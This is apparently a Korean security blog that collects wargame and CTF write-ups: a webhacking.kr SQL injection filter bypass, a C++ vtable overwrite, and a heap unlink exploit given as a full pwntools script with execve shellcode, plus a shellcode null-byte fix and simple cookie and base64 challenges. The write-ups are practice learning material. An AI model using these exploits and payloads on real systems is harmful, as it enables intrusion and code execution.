1을 제출하면 

hi guest가 출력된다.

문제에서 제시한 index.phps를 보면


$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 

이와같은 sql문이 있다.

우리가 해줘야 할 것은


if($q[0]=="guest") echo ("hi guest"); 
if(
$q[0]=="admin")                    
{                                     
@
solve();            
echo (
"hi admin!"); 
}                                   


즉 id='guest'인 조건은 fail 시키면서

id='admin'인 정보를 찾아야한다.

'guest'의 no는 1이므로

no에 3을 넣어줌으로써 실패시키고

or 로 id='admin'을 해주면 된다.


if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 


여기서 ' ' 를 필터링해주므로

' '대신 개행(%0a)을 사용하면


쿼리문은 

http://webhacking.kr/challenge/web/web-32/index.php?no=3%0aor%0ano=2







'war game > webhacking.kr' 카테고리의 다른 글

webhacking.kr 39 100pt  (0) 2017.01.05
[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조  (0) 2016.12.16
webhacking.kr 14번 100pt  (0) 2016.12.07
webhacking.kr 15번 50pt  (0) 2016.12.07
webhacking.kr 1번  (0) 2016.12.06

c++객체지향 프로그래밍된 문제에서는

vtables

개념을 잘알아놓아야한다

http://chfhrqnfrhc.tistory.com/entry/Virtual-Table-%EA%B0%80%EC%83%81%ED%95%A8%EC%88%98-%ED%85%8C%EC%9D%B4%EB%B8%94


vtable배울겸 풀어봤다!


아래는 문제 소스코드 


#include 
#include 
#include 
#include 
#include 
 
// g++ -m32 ch20.cpp -o ch20 -z execstack
 
class formatter
{
public :
    virtual int  RTTI(  )  =0 ;
    virtual void  displayName(  )  =0 ;
    virtual void format( const char * ptr )  =0 ;
 
};
 
class UpperFormatter: public formatter
{
public :
 
 
    virtual int  RTTI(  )  { return 1; };
 
    virtual void  displayName(  )  { printf ("UpperFormatter"); }
 
    virtual void format( const char * ptr )
    {
        const char * cptr = ptr;
        while (*cptr)
        {
            printf("%c", toupper(*cptr));
            cptr++;
        }
    }
};
 
 
class LowerFormatter: public formatter
{
public :
    virtual int  RTTI(  )  { return 2; };
 
    virtual void  displayName(  )  { printf ("UpperFormatter"); }
 
    virtual void format( const char * ptr )
    {
        const char * cptr = ptr;
        while (*cptr)
        {
            printf("%c", tolower(*cptr));
            cptr++;
        }
    }
};
#define SIZE (80)
class MyStringFormatter
{
public:
    MyStringFormatter( formatter * pFormatter  ):m_pFormatter(pFormatter),m_Id(1) {};
    void GetInput(int padding )  {
        memset(str ,' ' , SIZE  ); fgets(str+padding,SIZE,stdin); }
    void display() const{m_pFormatter->format(str) ;}
protected:
    char str[SIZE];
    formatter * m_pFormatter ;
    int m_Id;
};
 
 
 
 
int main(int argc, char* argv[])
{
    printf("Padding : 1-5\r\n");
    char size[4];
    int padding  = atoi(fgets(size,4,stdin));
    if (padding <0 || padding >5)
    {
        printf ("Padding error\r\n");
        exit(0);
    }
    printf("\r\n\r\n\tConvert in : \r\n");
    printf("\t  1: uppercase  \r\n");
    printf("\t  2: lowercase  \r\n");
    int choice  = atoi(fgets(size,4,stdin));
 
    formatter * pformatter = NULL;
    switch (choice)
    {
    case 1:
        pformatter =  new UpperFormatter ;
 
        break;
    case 2:
        pformatter =  new LowerFormatter ;
        break;
    }
    if (pformatter == NULL)
    {
        printf ("Bad choice!\r\n");
        exit(0);
    }
    MyStringFormatter formatter(pformatter  );
    printf("String to convert: \r\n");
    formatter.GetInput(padding);
    formatter.display();
 
    return 0;
 
}



padding한 만큼 80바이트보다 오버플로우 시킬수 있음

입력받는 input80바이트 다음에 있는 것이 this구조체의 자리

vptr은 this[0]에 위치하므로

일단 this구조체의 주소를 스택주소로 주고

그 주소에다가 다시 vtable의 주소를 줘야하므로

다시 스택주소를 준다

그다음 다시 함수주소를 주는데 이제 쉘코드가 있는 주소로 주자

그러면 쉘딴다


구조체(this)[0]->vptr->vtable->function() addr

이라는 개념을 알면 쉽게 풀수있다

libc 2.2버전에서 취약점이었지만

지금은 패치된 취약점

하지만 ctf문제로는 가끔 나온다고 한다.

실제로 pwnable.kr unlink문제도 같은 맥락


malloc과 free의 알고리즘을 잘 알고 있어야 풀 수 있는문제!


malloc은 linked list를 이용한다

자세한 설명은 

http://egloos.zum.com/minjang/v/1232908

여기 잘 나와있다


free에서는 unlink를 사용하는데

이것도 검색해서 배운후

이 문제를 풀어보자 


가장 기본적인 예시 문제이다 

(우리과 선배님이 내주신 문제)


chal1

from pwn import * import re p=process('/hee/chal1') raw_input() exit=0x804c8c8 arr=p.recv(4048) add=re.findall(r'[A-Z,0-9]{7}',arr)[6] add='0x'+add print add add=int(add,16) print hex(add) shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' fd=add+8+16 bk=exit-4 gadget='\xe8'+p32(add+60) payload="" payload+='\x00'*16 payload+=p32(add+60) #retaddr payload+='\x90'*4 payload+='\xbc'+p32(add+16) #mov esp, add+16 payload+=p32(0xc3) #ret payload+=p32(add+60) payload+='\x90'*16+gadget payload+='\x90'*(296-len(payload)-len(shellcode)) payload+=shellcode #payload+=p32(292) payload+="AAAA" #prev_size payload+=p32(0x1a9) #changed chunk_size(original 0x2a9) payload+=p32(1)*106    #to check prev_inuse flag(이전청크가 할당되있으면 check) payload+=p32(fd) #randomly made next_chunk point payload+=p32(bk) p.sendline(payload) p.interactive()



이문제의 취약점은 다음 청크의 size를 덮을수 있다는 것이다.

다음청크의 사이즈를 조작하면 원하는 영역에 다음 청크를 임의로 만들어 줄수 있다.

그러면 사이즈를 조작한 청크를 free할때 다음청크가 할당되있는지 확인하는데 이는 다음다음 청크의 prev_inuse flag를 확인한다(이것도 다음청크의 size를 조작하면 control 가능함 내경우 처음에 아무생각 없이 0x01을 때려넣었는데 운좋게 다음다음청크의 prev_inuse flag 플래그값이 0이 되면서  잘 돌아갔고 귀찮아서..ㅎ수정하지는 않았다.)

다음청크가 할당되있지 않으면 청크를 병합하기 위해 다음청크의 fd bk를 통해 unlink를 수행하는데 이때 fd, bk를 조작하여

arbitrary write가 가능하다. unlink로 write할때는 이중 포인터기때문에 바로 쉘코드의 주소를 넣어서는 안되고

나는 exit를 

mov esp, addr

ret

가젯을 만들어놓고 이 주소로 덮어준다음


eip를 컨트롤 하고 

eip를 쉘코드로 향하게 만들었다.

(heap영역에 x권한이 있기때문에) 

'war game > 기타 문제(ctf 등)' 카테고리의 다른 글

CSAW-2015 pwn precision 100pt  (0) 2016.12.06
pork, lockd  (0) 2016.11.13
[rop,rtl]luckyzzang  (0) 2016.11.05
[codegate2014]drupbox  (0) 2016.11.05
memod bss jmp esp 문제  (0) 2016.10.27

자바스크립트 캡처해서


이렇게 바꿔준다음

다시 입력해보면 

ul이 뜬다


ul을 구햇으니

다시 정상 스크립트로가서 510을 입력하면



'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조  (0) 2016.12.16
[webhacking.kr]sql injection 18  (0) 2016.12.16
webhacking.kr 15번 50pt  (0) 2016.12.07
webhacking.kr 1번  (0) 2016.12.06
가입하기~  (0) 2016.12.06

그냥 문제를 보려고 누르면

알람이 뜬다


자바스크립트를 캡처링하면 바로 비밀번호가 보인다

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr]sql injection 18  (0) 2016.12.16
webhacking.kr 14번 100pt  (0) 2016.12.07
webhacking.kr 1번  (0) 2016.12.06
가입하기~  (0) 2016.12.06
webhacking.kr 사이트 막혀있다...  (0) 2016.10.13

precision_a8f6f0590c177948fe06c76a1831e650



NX가 없는 문제

짱쉽죵



그냥 버퍼오버플로우 시키는데

쉘코드에 쓸때 주의할점 


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 

이 쉘코드를 썼었는데

저 빨간부분이 mov al,0xb 코드인데

\x0b떄문에 뒤에가 짤려버림

그래서 mov al,0x1b해주고 sub al,0x10넣어주면 된당





'war game > 기타 문제(ctf 등)' 카테고리의 다른 글

unlink를 이용한 heap exploit  (0) 2016.12.15
pork, lockd  (0) 2016.11.13
[rop,rtl]luckyzzang  (0) 2016.11.05
[codegate2014]drupbox  (0) 2016.11.05
memod bss jmp esp 문제  (0) 2016.10.27

index.phps 에 들어가 보라고 한다


들어가보면 


php 코드가 있는데 첫번째 if문에서는

첫글자가 0-9 가 아니면 cookie[usr_lv]=1로 셋팅한다

php 정규식을 참고하자

http://taegwan.blogspot.kr/2010/08/php-%EC%A0%95%EA%B7%9C%ED%91%9C%ED%98%84%EC%8B%9D-%EC%A0%95%EB%A6%AC.html


6보다 크거나 같아도 1로 세팅하고

마지막으로 5보다 크면 solve로 이동한다

5~6사이의 값을 usr_lv로 넣어주면 되겟다


chrome의

editthiscookie 를 사용했다



'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr]sql injection 18  (0) 2016.12.16
webhacking.kr 14번 100pt  (0) 2016.12.07
webhacking.kr 15번 50pt  (0) 2016.12.07
가입하기~  (0) 2016.12.06
webhacking.kr 사이트 막혀있다...  (0) 2016.10.13


처음 로그인 화면


소스코드를 보자

chrome 에서

ctrl u



하이퍼링크가 달린 버튼이 주석처리가 되있다


주석처리를 없애서 버튼을 눌러도 되지만 그냥 바로 저 주소로 가보겠다




decodeme라고 되있는 칸이있다


=나 == 로 끝나면

base64 인코딩 된 문자열이라고 볼수 있으니

디코딩 해보자

https://www.base64decode.org/


여기서 디코딩 ㄱㄱ


디코딩하면 또 끝이 =일것이다


계속 해보면

이거다 하는 문자열이 나온다~ 그거 넣고 가입하자!

'war game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr]sql injection 18  (0) 2016.12.16
webhacking.kr 14번 100pt  (0) 2016.12.07
webhacking.kr 15번 50pt  (0) 2016.12.07
webhacking.kr 1번  (0) 2016.12.06
webhacking.kr 사이트 막혀있다...  (0) 2016.10.13

+ Recent posts